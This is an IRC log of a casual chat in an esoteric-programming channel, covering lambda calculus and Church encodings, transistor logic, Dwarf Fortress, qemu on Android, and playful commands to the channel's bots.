23:49:17 <ais523> Etaoin: "useful" as in "not hideously degenerate"
23:49:36 <Etaoin> I repeat, who's talking about useful :D
23:49:39 <ais523> OK, DTL needs resistors to function too
23:50:05 <Etaoin> those don't seem that big a problem honestly
23:50:15 <Etaoin> just another variable to add to the function
23:50:22 <Etaoin> as in the resistance
23:50:55 <ais523> Etaoin: yes, but I was thinking more in the golfing sense
23:50:56 -!- Phantom_Hoover has joined.
23:51:01 <ais523> electronics golf
23:51:13 <Etaoin> does that exist
23:51:17 <Etaoin> and why not
23:51:19 <ais523> (the usual version I see, at least from computer scientists, is "n-channel FET" and "p-channel FET" as the minimum set of components)
23:51:23 <gamemanj> 2. Oh noes, the music is making things difficult! Solution A. Transcribe music to module format & write player? Too difficult, too much work, and CPU limits. Solution B. Lossy compression. Music sounds awful enough already, + too much work. And CPU limits. C. Lossless compression? Didn't occur to me at the time. And too much work, and CPU limits...
23:51:27 <ais523> (when working at the transistor level)
23:52:07 <gamemanj> (well, if either of those can be singularly made to act as a NOR gate, you should be fine with one)
23:52:32 <gamemanj> (... actually, then again, you need the occasional thing to add some gain to the signal)
23:52:50 <Etaoin> (not if the signal itself is completely simulated)
23:53:17 <gamemanj> (If you want to go with stuff that's simulated, then just work in logic gates)
23:53:32 <gamemanj> (If you want to work in terms of real components, then work in those...)
23:53:58 <Etaoin> (I would (but that's not the spirit of convoluted esolangs))
23:56:00 -!- Phantom__Hoover has joined.
23:58:14 <gamemanj> Etaoin: so your components act in the general sense of ideal FET components, with any additional rules you may set?
23:58:18 <gamemanj> That could be... fun.
23:58:36 <Etaoin> potentially
23:59:02 <Etaoin> I'll see how I feel about it in a few days
23:59:49 -!- Phantom_Hoover has quit (Ping timeout: 258 seconds).
2016-06-27
00:10:00 <^v> i was pinged
00:10:03 <^v> <fizzie> In a one-line program, if you need to go both ways you generally need to "waste" some characters to #s. In a more squarish program, you generally need to "waste" some characters to ^v<>. It's really a matter of how well you manage to structure your code to avoid either kind of waste, keeping in mind that conditionals by nature change direction, and it's possible to e.g. use _ to do a ...
00:10:04 <^v> lol
00:11:34 -!- oerjan has joined.
00:11:55 <Etaoin> ey
00:12:51 <oerjan> jafjallajökull
00:14:43 <oerjan> <\oren\> how does one catch oneself from saying things that will inadvertently show one's age? <-- the only way is to stay away from this new-fangled information superhighway thing hth
00:16:49 <Etaoin> you'd basically have to not reference anything that happened in more than the past 5 years as something you've experienced but rather as something you know happened because you've heard/read about it. also not saying your age would help as well
00:18:26 <oerjan> but if you, like, say you read about the 9/11 event then you're showing yourself as _young_ instead.
00:19:24 <Etaoin> in case you aren't wouldn't that throw them off?
00:20:12 <oerjan> well you can of course deceive either way.
00:20:31 <Etaoin> I am 91 years olde
00:20:34 <oerjan> i remember when nixon did that.
00:21:09 * oerjan whistles innoc^Wtransparently
00:21:34 <Etaoin> but honestly I lived through 9/11 and was conscious enough to remember it but it wasn't a thing that was that important here at that time
00:21:52 <oerjan> (theoretically, i _could_ have, i guess, but i don't remember anything from back when i was 4...
00:21:55 <oerjan> )
00:22:40 <Etaoin> I was 5 then and while I do remember some things about it, I remember it being not very prominent
00:22:48 <Etaoin> we ARE talking about croatia
00:23:14 <Etaoin> some countries cared less about 9/11 is what I'm saying
00:23:16 <oerjan> just add nationality to the things you don't want to show
00:23:21 <oerjan> *list of things
00:24:37 <Etaoin> my real question is, of all the things one can hide about themselves, why age?
00:25:11 <oerjan> i guess \oren\ is just in a sensitive one :P
00:25:21 <moon__> hi oerjan
00:25:26 <oerjan> high moon
00:25:36 <Etaoin> IT'S HIGH NOON
00:25:42 <moon__> LOL
00:25:47 <moon__> DAMN CAPS KEY
00:25:49 <oerjan> not here, it's after midnight
00:25:55 <oerjan> not in croatia either, i bet
00:25:57 <Etaoin> yeah 1:25
00:26:09 <Etaoin> pretty much high moon really
00:26:16 <oerjan> ye olde MET
00:26:40 * oerjan hasn't checked out the moon today, it was cloudy
00:27:26 <oerjan> hm full moon was a week ago. so presumably pretty half now.
00:27:29 <moon__> hbot is being annoying
00:27:31 <moon__> >:
00:27:54 <oerjan> is it trying to take over the world
00:27:57 <moon__> No
00:28:01 <oerjan> you need to give i a stupid sidekick
00:28:04 <oerjan> *it
00:28:12 <Etaoin> a wheatley?
00:28:13 <moon__> Its not running some things right
00:28:22 <moon__> Its already stupid :P
00:28:40 <Etaoin> then you need to give it to a clever protagonist
00:28:41 <oerjan> hm google says that's from portal
00:28:47 * oerjan doesn't really play games
00:28:57 <Etaoin> portal is great ^^
00:29:06 <moon__> It certainly is, and you mean Portal 2
00:29:36 <Etaoin> I meant the franchise, oerjan meant portal 2 :)
00:30:49 <Etaoin> can someone help me wrap my head around lambda calculus?
00:32:25 <oerjan> yes, but i cannot promise your head will survive the twisting
00:33:30 <Etaoin> I fancy myself competent enough :D
00:36:06 <oerjan> imo lambda calculus is about taking the concepts of (mathematical) variables and functions and distilling them down to their bare essence.
00:36:42 <Etaoin> how does that work?
00:39:46 <oerjan> (wait what did i get myself into)
00:40:19 <gamemanj> (I'm tired. Why are people talking about a high moon?)
00:41:30 <Etaoin> I understand application and that jazz, but how exactly is a function defined?
00:42:07 <oerjan> a function is a lambda abstraction. \ variable . expression
00:42:20 * oerjan cannot be bothered to type a real lambda
00:42:35 <Etaoin> this expression can be anything?
00:43:00 <oerjan> any lambda calculus expression yes.
00:43:20 <oerjan> in pure lambda calculus all you have is variables, applications, and lambda abstractions.
00:43:44 <Etaoin> how do you define say f x = x^2 in it then?
00:43:59 <Phantom__Hoover> Etaoin, in pure lambda calculus a function is just a pattern of application, basically
00:44:11 <oerjan> well that requires you to have some concept of numbers and exponentiation.
00:44:18 <Phantom__Hoover> its arguments are functions and it applies them in some way or another
00:44:32 <oerjan> you can either put those in as extras, or encode them as other lambda expressions.
00:44:34 <moon__> Who here has played/plays dwarf fortress?
00:44:47 <Phantom__Hoover> so e.g. you define the natural numbers as taking functions f and x and applying f to x n times.
00:45:14 <oerjan> fine, i see Phantom__Hoover takes over.
00:45:25 * oerjan whistles innocently
00:45:51 <Etaoin> moon__, I've played it a little but stopped inexplicably
00:46:41 <moon__> How come? The graphics or the unintuitivity?
00:46:48 <quintopia> gamemanj: moon was smokin' somethin' potent
00:46:56 <oerjan> surely you mean inevitably
00:47:01 * oerjan hasn't played df
00:47:16 <moon__> Lol
00:47:26 <moon__> It was inevitable
00:47:32 <quintopia> I hear it's got a steep learning curve, but once learned is quite Fun™
00:47:53 <moon__> The 'steep learning curve' is just mostly a joke
00:48:04 <moon__> The wiki helps a lot to squash it
00:48:17 <Etaoin> moon__, neither really. pretty sure soon after I downloaded it my computer had some issues and I had to reinstall whichever OS I was using at the time
00:48:22 <quintopia> ...it's a game where you need to read a wiki to play
00:48:29 <moon__> No, not really
00:48:38 <moon__> Its just one page to help newbies get started
00:48:45 <moon__> you dont *have to*
00:48:51 <Phantom__Hoover> moon__, i've played it a lot
00:48:55 <Etaoin> I love the aesthetics of it and don't find it that unintuitive
00:48:56 <Phantom__Hoover> not for about a year though
00:49:11 <Etaoin> バスツアー Aesthetic shit スツ thats モール some Aesthetic バス shit right モールモールthere メキシコシティーright ツアthere ピングモール if i do say so myself ブルi say so バス thats what im ta
00:49:32 <Etaoin> sorry I got excited
00:49:36 <moon__> Toady added adventuremode building and 64bit is coming up Phantom__Hoover
00:49:59 <Phantom__Hoover> 64 bits doesn't strike me as that big of an improvement
00:50:07 <gamemanj> don't know
00:50:11 <gamemanj> for a game like DF...
00:50:17 <Phantom__Hoover> the extra registers might make the main game thread run a bit faster i suppose
00:50:17 <moon__> Eh, more memory for bigger fortresses
00:50:30 <quintopia> has anyone written a utility to compile DF maps to minecraft maps?
00:50:34 <Phantom__Hoover> i don't remember ever running up against memory issues, you'd hit FPS death first
00:50:35 <gamemanj> if you think about it, DF is a rather well-optimized and tuned game on 32-bit
00:50:35 <moon__> 32bit caps it at 2gb
00:50:43 <Phantom__Hoover> gamemanj, >df
00:50:47 <Phantom__Hoover> >well-optimised
00:50:55 <Phantom__Hoover> top lel
00:50:56 <moon__> >singlethreaded
00:51:00 <moon__> top lel
00:51:00 <gamemanj> (sshhh)
00:51:06 <Etaoin> top jej
00:51:13 <gamemanj> (I was hoping my complete lack of knowledge would go unnoticed!)
00:51:16 <Etaoin> I just wanna feel like I'm part of the chat
00:51:27 <moon__> No need to
00:51:41 <Phantom__Hoover> gamemanj, i remember when just the temperature calculations alone would take the game from 60FPS to 30 on my machine
00:51:53 <moon__> Temp calculations are better i hope
00:52:03 <moon__> unless ur pc is on old hardware
00:52:06 <Phantom__Hoover> i think it's a bit better now but there were trivial optimisations that dfhack added that removed most of that hit
00:52:06 <gamemanj> (TBH, I kind of thought such things as multithreading were already implemented or else it would have already been melting machines)
00:52:09 <moon__> *i beleive no i hope
00:52:20 <Etaoin> >caring about FPS in an ASCII game
00:52:28 <moon__> Not lel
00:52:33 <Phantom__Hoover> Etaoin, FPS in DF means the sim speed
00:52:34 <moon__> no lel at all
00:52:36 <gamemanj> Etaoin: it's not exactly a text adventure :)
00:52:37 <moon__> Mhm
00:52:46 <moon__> The FPS means how fast the game is processing everything
00:52:47 <Phantom__Hoover> if it gets low the game becomes unplayable
00:52:50 <moon__> ^
00:52:54 <gamemanj> (Though I guess Adventurer Mode might count?)
00:52:59 <moon__> no
00:53:05 <moon__> Adventure mode is also graphical
00:53:18 <moon__> and supports a lot of functions from fortress mode
00:53:19 <Phantom__Hoover> gamemanj, DF these days has a rendering thread and the thread that does the game and everything else, i think
00:53:20 <gamemanj> (I don't mean that)
00:53:34 <gamemanj> (I mean sim speed, which is presumably what Etaoin meant by FPS)
00:53:47 <gamemanj> (With Adventurer mode the whole thing's held up on user input anyway)
00:53:53 <Phantom__Hoover> making the latter multithreaded would probably be an enormous boost to performance but it'd require a herculean amount of refactoring to even be able to start
00:54:00 <moon__> ^
00:54:13 <moon__> its too late now
00:54:34 <moon__> the game is too big to multithread without looking like someone trying to get to the other side of a pool of peanut butter
00:55:07 <gamemanj> That's an interesting way of saying "a mess"
00:55:21 <moon__> i made it up on the spot xP
00:55:29 <gamemanj> Well, it works
00:55:31 <moon__> Anyways
00:55:49 <moon__> We should move this DF related discussion to #dwarffortress, it fits a bit better there
00:55:56 <Etaoin> is it smooth or chunky peanut butter?
00:56:07 <moon__> No idea :P
00:56:28 <gamemanj> Etaoin: Think of what would happen if you cut peanut butter into randomly shaped pieces around one cubic centimetre in volume
00:56:55 <gamemanj> and then arranged them into the form that a game's code might take if it were a physical being
00:57:10 <gamemanj> ...and then threw a jar of pepper at it
00:57:21 <moon__> Oof
00:57:33 -!- jaboja has quit (Remote host closed the connection).
00:57:36 <gamemanj> Something like that.
00:57:39 <moon__> Also, anyone want to try their hand at a newbie succession fort for lols?
00:58:11 <gamemanj> depends if you want the fortress to die before it's first year
00:58:12 <Phantom__Hoover> i'd be so down for another #esoteric succession fort but i'm not really a newbie any more
00:58:27 <moon__> Doesnt matter
00:58:31 <moon__> its for everyone
00:58:35 <moon__> ill take the first turn
00:58:35 <Phantom__Hoover> i like succession forts because i don't have to set down the initial floorplan and agonise over the large-scale design
00:58:50 <gamemanj> Well, if I didn't have something that will take up...
00:58:57 <moon__> 43.03 everyone!
00:59:01 <gamemanj> ...the entirety of next week... to deal with...
00:59:10 <moon__> 43.04 also works (i think)
00:59:11 <gamemanj> (yes, really. :( )
00:59:15 <moon__> ):
00:59:28 <moon__> i take just a hour or two to finish a turn
00:59:48 <moon__> Who wishes to go after me? :P
01:00:01 <gamemanj> (then again, if I can find a way to make qemu work - specifically qemu, not qemu-system - on an Android tablet...)
01:00:17 <gamemanj> (qemu-system would probably be too slow)
01:00:23 <moon__> Nah
01:00:33 <moon__> DF in the early stages isnt too lagy
01:00:51 <gamemanj> Wait, so my idea to bring an emulated Linux VM with me ISN'T considered insane?
01:00:58 <moon__> Nope
01:01:01 <moon__> I do it too
01:01:02 <gamemanj> Something is wrong with the world
01:01:15 <Etaoin> or terribly right!
01:01:22 <gamemanj> Usually my crazy ideas are just that
01:01:31 <Phantom__Hoover> gamemanj, cut down the save size
01:01:37 <Phantom__Hoover> 2x2 on the embark screen
01:01:40 <moon__> No
01:01:43 <moon__> Im embarking
01:01:49 <izabera> what's the difference between qemu and qemu-system?
01:01:51 <Phantom__Hoover> yeah i mean if he wants to run it on android
01:01:56 <moon__> Then ill get the ball rolling and share it
01:01:57 <gamemanj> I'm not even sure if I'll be part of this
01:02:08 <Phantom__Hoover> wait if it's on android then surely it's ARM
01:02:08 <moon__> ill do 2x2 for slower systems
01:02:14 <Phantom__Hoover> and df is compiled as an x86 exe
01:02:16 <Phantom__Hoover> moon__, no!
01:02:21 <gamemanj> Phantom__Hoover: and NOW you know why the qemu is involved!
01:02:25 <gamemanj> Phantom__Hoover: Virtual machine
01:02:34 <moon__> fine, 3x3
01:02:38 <Phantom__Hoover> gamemanj, yeah but there's a difference between hardware and software virtualisation
01:02:47 <Phantom__Hoover> moon__, why not just 4x4 with decent population caps?
01:02:52 <gamemanj> It'll be slow but it might work!
01:02:59 <moon__> I like 3x3 :P
01:03:05 <gamemanj> izabera: qemu-system emulates a whole machine
01:03:07 <moon__> its a good middle size
01:03:29 <moon__> Year 85
01:03:45 <moon__> Now
01:03:50 <moon__> Lets see if i can find a nice site
01:04:12 <gamemanj> izabera: qemu-i386 more or less runs a program without emulating the full kernel/etc AFAIK. At least, that's what I think it does...
01:04:22 <gamemanj> I know, I'll try it on a program and find out!
01:05:05 <gamemanj> [gamemanj@Iwakura dist]$ qemu-i386 reb_static
01:05:05 <gamemanj> Recovery Basic started.
01:05:05 <gamemanj> Memory available unknown.
01:05:05 <gamemanj> Ready.
01:05:21 <gamemanj> (Ok, good, it does.)
01:05:33 <moon__> How much memory do you have to use?
01:05:42 <moon__> over 2gb is the best case here
01:05:56 <gamemanj> On the target device...
01:06:31 <gamemanj> uh, target device not active right now, busy charging for tomorrow.
01:06:58 <gamemanj> 2GB.
01:07:15 <moon__> Eh, it'll do
01:07:17 <gamemanj> - system stuff & emulator overhead & such and things will be rather bad.
01:08:12 <moon__> Perfect location found
01:08:28 <moon__> do you have a attachable keyboard (wireless for example?)
01:08:43 <Etaoin> Phantom__Hoover, so in lambda calculus I could write something like \x.x where x is a function that does something specific, but I could then use the symbol x for function composition/application/abstraction and such? basically what the actual symbol symbolizes is irrelevant, lambda calculus just allows me to work with higher order functions in an abstract way?
01:09:22 <gamemanj> moon__: I have an OTG keyboard...
01:09:28 <Phantom__Hoover> Etaoin, yes, but then the trick is that in the lambda calculus those are the only functions
01:09:41 <gamemanj> And by that I mean an OTG cable (no separate power though...)
01:09:42 <gamemanj> and a keyboard
01:09:56 <Phantom__Hoover> and they're still enough to express universal computation
01:10:01 <moon__> If it canconnect to your device, it will work
01:10:10 <Etaoin> that's the bit I can't understand :D
01:10:11 <moon__> ill play the first year
01:10:16 <moon__> who wants to go next?
01:10:27 <Etaoin> how in the world can I do anything useful with such a simple system
01:10:41 <moon__> Etaoin, look at brainfuck lol
01:10:52 <Etaoin> brainfuck is relatively complex compared to this imo
01:11:01 <Phantom__Hoover> Etaoin, well e.g. you can encode true vs. false as \x y.x and \x y.y
01:11:20 <moon__> Ok
01:11:32 <moon__> So no-one wants to take the next turn?
01:11:36 <Etaoin> :(
01:11:41 <Etaoin> I feel bad for moon
01:11:51 <moon__> lol no need
01:12:16 <Phantom__Hoover> and you can encode other data types in similar ways, and then from there you can get the 'primitive functions' that you expect to have
01:12:27 -!- lambda-11235 has joined.
01:12:53 <Cale> More suggestively, you can encode true vs. false as \false true. false and \false true. true
01:13:18 <Cale> In general, you just pretend that you're taking the data constructors for your algebraic type as arguments to the function
01:14:47 <Cale> So e.g. if in Haskell, you'd have had data Tree a = Tip | Branch a (Tree a) (Tree a), and some value like Branch 1 (Branch 2 Tip Tip) (Branch 3 Tip Tip), you'd encode that as \tip branch -> branch 1 (branch 2 tip tip) (branch 3 tip tip)
01:15:52 <moon__> Ah well
01:15:58 <moon__> ill just put up the save when im done
01:16:31 <Cale> Etaoin: and then supplying function arguments is basically doing a fold over the data structure
01:17:53 <moon__> This embark has iron (so far)
01:18:00 <Etaoin> processing
01:18:50 -!- Akaibu has joined.
01:21:36 <moon__> Ooo, this embark has gold
01:24:35 <oerjan> <gamemanj> Note the "as long as they're arbitrary" - you have to have enough expression to tell whatever lies you need, and by having that you also leave a hole open for telling truth
01:24:57 <oerjan> iirc the point of the original Newspeak was precisely _not_ to have enough expression.
01:25:40 <oerjan> although it still technically allowed "absurdies" like "Big Brother is ungood."
01:28:02 <lambda-11235> Cale: I only heard the last four lines of what you said, but I think I wrote a blog post about it.
01:28:09 <lambda-11235> http://lambda-11235.github.io/posts/2016-06-17-church-encode-adts.html
01:32:16 -!- boily has joined.
01:33:52 -!- ^v has quit (Quit: ZNC - http://znc.in).
01:34:12 <quintopia> helloily
01:34:15 -!- ^v has joined.
01:36:48 <oerjan> bohily
01:37:09 <moon__> BHoily
01:38:01 <quintopia> calello
01:38:19 <moon__> Quhintopia
01:40:10 <quintopia> myoon
01:44:03 <boily> quinthellopia, hellørjan, mhelloon__!
01:44:21 -!- boily has quit (Quit: REVIEW CHICKEN).
01:44:57 <Phantom__Hoover> moon__, gold's ~common
01:45:09 <Phantom__Hoover> the real fucker is getting both iron ore and coal
01:45:09 <moon__> True
01:45:20 <moon__> We'll see
01:45:33 <shachaf> Phantom__Hoover: Oh, I thought you were talking about Factorio.
01:45:34 <Phantom__Hoover> because they can both appear in, generously, the first ten layers only
01:46:08 <moon__> We have both deep and shallow metal..
01:46:19 <shachaf> But I guess you're talking about Dwarf Fortress.
01:46:29 <oerjan> `culprits wisdom/montreal
01:46:36 <moon__> We are
01:47:04 <HackEgo> oerjan
01:47:11 <oerjan> shocking
01:47:25 <moon__> Someone else wrote something similar to wisdom on hbot
01:47:27 -!- ^v has quit (Quit: ZNC - http://znc.in).
01:47:37 <moon__> same name, actually
01:47:57 -!- ^v has joined.
01:48:51 <moon__> shame DF is actually slower when there is no dfhack
01:51:07 -!- Sprocklem has quit (Read error: Connection reset by peer).
01:52:04 <quintopia> that was weird
01:52:17 <moon__> what was?
01:52:53 <Etaoin> do you people ever feel those feels?
01:53:01 <moon__> ?
01:53:07 <quintopia> sure
01:53:11 <quintopia> when dogs die
01:53:13 <Etaoin> the kinds of feels that make you feel all... feely
01:53:22 <quintopia> what's weird is boily coming in saying hello and leaving without explanation
01:53:58 <moon__> ugh, mouse froze!
01:54:12 <moon__> )=
01:54:14 <moon__> halp me
01:54:24 <moon__> nvm
01:54:45 <Etaoin> can someone kick my ass?
01:54:53 <Etaoin> so I don't have to deal with finals tomorrow
01:55:00 <quintopia> try turning into Jim Carrey in Liar, Liar
01:55:03 <moon__> lol
01:55:06 <Etaoin> :(
01:55:12 -!- Sprocklem has joined.
01:55:29 <quintopia> https://www.youtube.com/watch?v=87w655s3xKc
01:57:27 <oerjan> Etaoin: i can kickban you if that helps
01:57:50 <quintopia> a 24 hour kickban would promote studying
01:57:52 <Etaoin> objectively it might but it won't get me out of the test
01:57:53 <shachaf> `wisdom
01:57:58 <HackEgo> lettuce//Lettuce is a vegetable with two dressings, join and meet.
01:58:18 <shachaf> i prefer my lettuce without meat tdnh
01:58:27 <quintopia> weird
01:58:27 <zzo38> Then do kick without ban.
01:58:34 <zzo38> Either way it won't help anyways
01:58:39 <quintopia> i like my salads with chicken and my burgers with lettuce
01:58:47 <shachaf> i like all my food vegetarian
01:58:57 <oerjan> shachaf: that's just a semi-lettuce
01:58:57 <shachaf> and i like people not talking about eating meat around me
01:59:12 <oerjan> i also prefer eating only vegetarians
01:59:14 <shachaf> you can't always get what you like
01:59:28 <quintopia> but i can always get salads the way i like
01:59:48 <shachaf> not from me
01:59:53 <shachaf> in fact i'm unhappy right now because of you
01:59:54 <Etaoin> I like soy
01:59:56 <shachaf> let's change the subject
02:00:01 <shachaf> `wisdom
02:00:03 <HackEgo> brick//Brick goes in brain. The statutory punishment for perpetrators of brainfuck derivatives.
02:00:07 <Etaoin> shachaf you vegetarian?
02:00:13 <shachaf> yes
02:00:16 <Etaoin> high five
02:00:17 <quintopia> ...that's not changing the subject
02:00:21 <shachaf> `wisdom
02:00:22 <HackEgo> ruby//Ruby is a programming language from Japan, that eventually decided to support non-ascii characters.
02:00:36 <quintopia> ...i did not know that
02:00:41 <quintopia> that's kind of hilarious
02:01:01 <shachaf> Is it Japan or Ruby that eventually decided to support non-ascii character?
02:01:02 -!- shikhin has changed nick to oonbotti4.
02:01:16 -!- oonbotti4 has changed nick to shikhin.
02:01:17 <shachaf> characters
02:01:27 <shachaf> Non-ascii characters like ørjan, I suppose.
02:01:29 <shachaf> `? ørjan
02:01:31 <HackEgo> ​Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers.
02:02:05 <shachaf> `? oerjan
02:02:07 <HackEgo> Your mysterious articled cackling zombie underlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
02:02:50 <shachaf> `slwd ørjan//s#.$# without noticing it.#
02:02:55 <HackEgo> wisdom/ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
02:02:56 <Etaoin> >His arch-nemesis is Betty Crocker.
02:03:02 <Etaoin> sounds like someone was reading homestuck
02:03:42 <oerjan> well not me
02:03:50 <Etaoin> ¯\_(ツ)_/¯
02:04:00 <shachaf> `? betty crocker
02:04:02 <HackEgo> Betty Crocker is a notorious gambler.
02:06:19 <Etaoin> `? shachaf
02:06:21 <HackEgo> shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him.
02:06:41 <Etaoin> I guess now I know who was reading homestuck
02:06:51 <shachaf> Not me.
02:07:05 <Etaoin> I'm sensing tomfoolery
02:07:11 <shachaf> `? tomfoolery
02:07:12 <HackEgo> tomfoolery is always factually inaccurate. always.
02:07:25 <oerjan> `` grep shachaf bin/slist
02:07:27 <HackEgo> No output.
02:07:32 <oerjan> `? slist
02:07:33 <HackEgo> Update notification for the webcomic Homestuck.
02:07:45 <oerjan> hm i'll have to side with shachaf there
02:07:45 <shachaf> `` cat bin/slist | rot13
02:07:46 <HackEgo> rpub -a "$(onfranzr "$0")${@:+ }$@: "; gnvy -a+2 "$0" | knetf; rkvg \ Gnaro \ ngevd \ Atriq \ aiq \ Svben \ Ftrb \ GungBgureCrefba \ nybg
02:07:58 <shachaf> statistically it seems to have been Taneb hth
02:08:05 <Etaoin> I meant the bot was reading it
02:08:14 <Etaoin> obv
02:08:36 <oerjan> unlikely. the bot has rather limited internet access.
02:08:53 <shachaf> oerjan: if that's true, how come it always knows about slist updates? hth
02:09:20 <Etaoin> fungot: have you tried https://xkcd.com/1646/ yet?
02:09:21 <fungot> Etaoin: mimulus luteus--crossed and self-fertilised flowers, in height, weight, and fertility :) most :) these cases a first trace :) movement could not be easily observed; but it certainly was in/ time :)/ year, which is often called/ sense :) hearing; for with chickens hatched by artificial heat, a good deal, and i found in it.
02:09:23 <oerjan> your logic is peccable
02:09:37 <ais523> what does slwd stand for?
02:09:40 <shachaf> PECCABLE CHICKEN
02:09:46 <ais523> (I can figure out what it does from context, but not why it has that name)
02:10:00 <oerjan> ais523: i just put a w in sled hth
02:10:00 <shachaf> It's sled for wisdom/
02:10:18 <ais523> and "sled" is a portmanteau of "slash" and "sed"?
02:10:25 <shachaf> Correct.
02:11:05 <Etaoin> can't wait til someone implements a general AI as a bot here
02:11:25 <shachaf> ^style
02:11:25 <fungot> Available: agora alice c64 ct darwin* discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
02:11:41 <shachaf> ^style europarl
02:11:41 <fungot> Selected style: europarl (European Parliament speeches during approx. 1996-2006)
02:11:55 <Etaoin> oh damn I'm interested in the homestuck one
02:11:59 <oerjan> fungot: what do you think about brexit
02:12:01 <fungot> oerjan: mr president, ladies and gentlemen, we have seen today, would almost certainly lead to some companies, especially in tropical waters, such as esprit, telematics, leonardo da vinci programme, which is regarded as a commodity and on which fnord has not been able to help with transport and setting up centres of excellence in all the national structures so that they can have in each individual member of each national parlia
02:13:42 <oerjan> i assume eir point was in the cut off part
02:13:48 <shachaf> Maybe sled should be called s/e/d
02:14:02 <shachaf> Everything should have more slashes.
02:14:27 <Etaoin> maybe /s/e//d///
02:14:47 <shachaf> But then the spoilers would become nonsensical.
02:14:55 <shachaf> And also the root directory would become further polluted.
02:15:13 <Etaoin> when has that ever stopped people from doing things
02:15:54 <shachaf> It stops people with refined taste, like oerjan.
02:16:36 <Etaoin> one might argue that oerjan is a scrub
02:16:56 <shachaf> @wn scrub
02:16:58 <lambdabot> *** "scrub" wn "WordNet (r) 3.0 (2006)"
02:16:58 <lambdabot> scrub
02:16:58 <lambdabot> adj 1: (of domestic animals) not selectively bred
02:16:58 <lambdabot> n 1: dense vegetation consisting of stunted trees or bushes
02:16:58 <lambdabot> [syn: {scrub}, {chaparral}, {bush}]
02:17:00 <lambdabot> [10 @more lines]
02:17:06 <shachaf> @more
02:17:06 <lambdabot> 2: the act of cleaning a surface by rubbing it with a brush and
02:17:06 <lambdabot> soap and water [syn: {scrub}, {scrubbing}, {scouring}]
02:17:06 <lambdabot> v 1: clean with hard rubbing; "She scrubbed his back" [syn:
02:17:08 <lambdabot> {scrub}, {scour}]
02:17:10 <lambdabot> 2: wash thoroughly; "surgeons must scrub prior to an operation"
02:17:12 <lambdabot> [5 @more lines]
02:17:21 <shachaf> @more
02:17:21 <lambdabot> [syn: {scrub}, {scrub up}]
02:17:21 <lambdabot> 3: postpone indefinitely or annul something that was scheduled;
02:17:21 <lambdabot> "Call off the engagement"; "cancel the dinner party"; "we had
02:17:21 <lambdabot> to scrub our vacation plans"; "scratch that meeting--the
02:17:22 <lambdabot> chair is ill" [syn: {cancel}, {call off}, {scratch}, {scrub}]
02:18:18 <gamemanj> at first I thought I was looking at a very complicated translation bot for a different channel
02:18:28 <gamemanj> and then I realized it was just lambda being spammy
02:18:39 <Etaoin> it ain't lambda's fault
02:19:31 <shachaf> I looked up "scrub" on the Internet.
02:19:35 <shachaf> Please don't be a jerk.
02:19:59 <Etaoin> I was joking :(
02:20:05 <shachaf> I know.
02:20:23 <shachaf> But the whole joke is that you're being rude.
02:20:29 <shachaf> There's nothing else to that joke.
02:21:18 <Etaoin> I obviously wouldn't call oerjan a scrub for real though
02:21:22 <Etaoin> not by a long shot
02:22:00 <Etaoin> my apologies in any case
02:22:20 <shachaf> I think you should scrub that word from your lexicon.
02:23:10 <Etaoin> rm -rf roots/scrub
02:23:59 <oerjan> i dunno, that 3rd definition resonates with me
02:24:57 <shachaf> The 6th?
02:25:17 <Etaoin> the only 3: one I assume
02:26:48 -!- gamemanj has quit (Quit: Leaving).
02:26:51 <Phantom__Hoover> shachaf, stop being an awkward fogey plz
02:27:06 <shachaf> no
02:27:47 <oerjan> @wn fogey
02:27:48 <lambdabot> *** "fogey" wn "WordNet (r) 3.0 (2006)"
02:27:49 <lambdabot> fogey
02:27:49 <lambdabot> n 1: someone whose style is out of fashion [syn: {dodo}, {fogy},
02:27:49 <lambdabot> {fogey}, {fossil}]
02:28:12 <oerjan> clearly a fellow precambrian
02:28:27 -!- hppavilion[1] has joined.
02:28:28 <oerjan> or at least jurassic
02:28:34 <Etaoin> are you implying shachaf's clothing isn't fashionable enough
02:28:43 <shachaf> no, my slang
02:28:47 <oerjan> i don't know, i have never seen shachaf's clothing
02:29:01 <oerjan> that i can recall
02:29:11 <shachaf> anyway, i knew what the word meant
02:29:19 <shachaf> i wasn't suggesting it's illegitimate because it's not in the dictionary
02:29:36 <oerjan> @wn gullible
02:29:38 <lambdabot> *** "gullible" wn "WordNet (r) 3.0 (2006)"
02:29:38 <lambdabot> gullible
02:29:38 <lambdabot> adj 1: naive and easily deceived or tricked; "at that early age
02:29:38 <lambdabot> she had been gullible and in love" [syn: {fleeceable},
02:29:38 <lambdabot> {green}, {gullible}]
02:29:40 <lambdabot> 2: easily tricked because of being too trusting; "gullible
02:29:42 <lambdabot> tourists taken in by the shell game"
02:30:00 <Etaoin> I love that the last synonym of fogey is fossil
02:30:21 <shachaf> `` ls bin/*magic*
02:30:38 <HackEgo> ls: cannot access bin/*magic*: No such file or directory
02:30:39 <shachaf> `` ls bin/*card*
02:30:41 <HackEgo> bin/card-by-name \ bin/random-card
02:30:47 <shachaf> `card-by-name fogey
02:30:58 <HackEgo> No output.
02:31:07 <shachaf> `card-by-name old fogey
02:31:08 <oerjan> `card-by-name fossil
02:31:33 <HackEgo> Old Fogey \ GG \ Summon Dinosaur \ 7/7 \ Phasing, cumulative upkeep {1}, echo, fading 3, bands with other Dinosaurs, protection from Homarids, snow-covered plainswalk, flanking, rampage 2 \ UNH-R
02:31:33 <HackEgo> Fossil Find \ (r/g) \ Sorcery \ Return a card at random from your graveyard to your hand, then reorder your graveyard as you choose. \ SHM-U
02:33:16 <shachaf> `card-by-name steamflogger boss
02:33:19 <HackEgo> Steamflogger Boss \ 3R \ Creature -- Goblin Rigger \ 3/3 \ Other Rigger creatures you control get +1/+0 and have haste. \ If a Rigger you control would assemble a Contraption, it assembles two Contraptions instead. \ FUT-R
02:33:29 <shachaf> ais523: What was your hypothesis for how assembling contraptions must behave?
02:33:37 <shachaf> Or maybe it was just vague grammatical speculation.
02:34:09 <ais523> shachaf: that it's in the same sort of grammatical category as "attacks", "blocks", "targets", "damages"
02:34:13 <ais523> that "assembles" is, I mean
